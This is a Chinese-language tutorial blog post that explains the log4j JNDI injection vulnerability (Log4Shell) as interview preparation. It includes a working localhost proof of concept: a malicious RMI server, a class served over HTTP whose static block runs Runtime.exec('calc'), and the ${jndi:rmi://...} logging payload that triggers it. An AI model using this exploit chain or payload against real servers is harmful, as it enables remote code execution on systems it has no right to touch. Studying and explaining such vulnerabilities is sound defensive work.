阿里面试题:了解去年的log4j事件吗?
最近在找实习,面阿里的时候被问了一个问题:了解log4j事件吗?
常规操作
首先配置依赖:
此处选的版本还是有漏洞的版本。
<properties>
<log4.version>2.14.0</log4.version>
</properties>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4.version}</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>${log4.version}</version>
</dependency>
</dependencies>
可能需要一些配置,放在log4j2.properties
里。
尝试常规打印操作:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class Solution {
private static final Logger logger = LogManager.getLogger(Solution.class);
// Solution.class: 追踪产生此日志的类.
public static void main(String[] args) {
String userName = "orzlinux.cn";
logger.info("我的网站是:{}",userName);
// output:
// 2022-03-17 10:12:12 INFO Solution:12 - 我的网站是:orzlinux.cn
}
}
开始不对劲
public static void main(String[] args) {
String userName = "${java:os}";
logger.info("我的网站是:{}",userName);
// output:
// 2022-03-17 10:19:32 INFO Solution:13 - 我的网站是:Windows 10 10.0, architecture: amd64-64
}
JNDI
The Java Naming and Directory Interface,是一组在java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,可以通过名称访问对象。
例如RMI远程调用的形式。
Naming
Bindings:一个名称和对应的对象的绑定关系
Context:上下文,一个上下文对应着一组名称到对象的绑定关系。例如文件系统中,一个目录就是一个上下文。子目录也可以称为一个上下文。
References:有些对象可能无法直接存储在系统里,就以引用的形式存储。
Directory
目录服务可以看做是名称服务的一种扩展,除了名称服务中已有的名称到对象的关联信息之外,还允许对象拥有属性信息,所以不仅可以根据名称查找对象(lookup),还可以根据属性值去搜索对象(search)。
例如打印服务,在命名服务中,可以根据打印机名称去获取打印机对象的引用,然后进行打印操作;同时打印机有速率,分辨率,颜色这些属性,作为目录服务,用户可以根据打印机的属性去搜索响应的打印机对象。
API
RMI
Remote Method Invocation,java自带的远程调用框架。
以前有过笔记:RMI和JMX - hqinglau的博客(放在原文链接)
JNDI注入
整体流程
server
public class Server{
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException, InterruptedException {
Registry registry = LocateRegistry.createRegistry(8181);
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Reference reference = new Reference("Inject", "Inject", "http://127.0.0.1:9999/");
// 位于另外的服务器,例如用一个python启动:python3 http.server -m 9999, 便可以简单的通过网络传输class文件
// 客户发起rmi请求之后,会尝试从http://127.0.0.1:9999/Inject.class获取并加载文件
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.rebind("inject", wrapper);
System.out.println("服务已启动");
Thread.currentThread().join();
}
public Server() {}
}
启动文件服务
D:\Users\javaProjects\javaLearn\src\main\java> python3 -m http.server 9999
示例:
client
public class Client {
private Client() {}
public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
// 使用JDNI在命名服务中发布引用
Hashtable env = new Hashtable();
// 在新版本java中,有rmi限制,此处只是举个注入例子,应有其他方法注入
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:8181");
InitialContext context = new InitialContext(env);
Object obj = context.lookup("rmi://127.0.0.1:8181/inject");
System.out.println(obj);
}
}
public class Inject {
static {
System.out.println("I can do anything.");
}
}
打印出了:
I can do anything.
如果里面是计算机指令呢?
public class Inject {
static {
try {
//打开计算机
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("I can do anything.");
}
}
运行client之后,自动打开了计算器。
这个就比较可怕了。
回到log4j
class Solution {
private static final Logger logger = LogManager.getLogger(Solution.class);
// Solution.class: 追踪产生此日志的类.
public static void main(String[] args) {
String userName = "${jndi:rmi://127.0.0.1:8181/inject}";
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
logger.info("my name is: {}",userName);
}
}
输出是:
I can do anything.
2022-03-17 12:02:52 INFO Solution:14 - my name is: ${jndi:rmi://127.0.0.1:8181/inject}
同时,还打开了计算器。
${jndi:rmi://127.0.0.1:8181/inject}
服务器后台打印的时候就执行了我们的注入程序,例子里既然能打开服务器的计算器,就可能非法访问文件,甚至破坏服务器。
往期内容: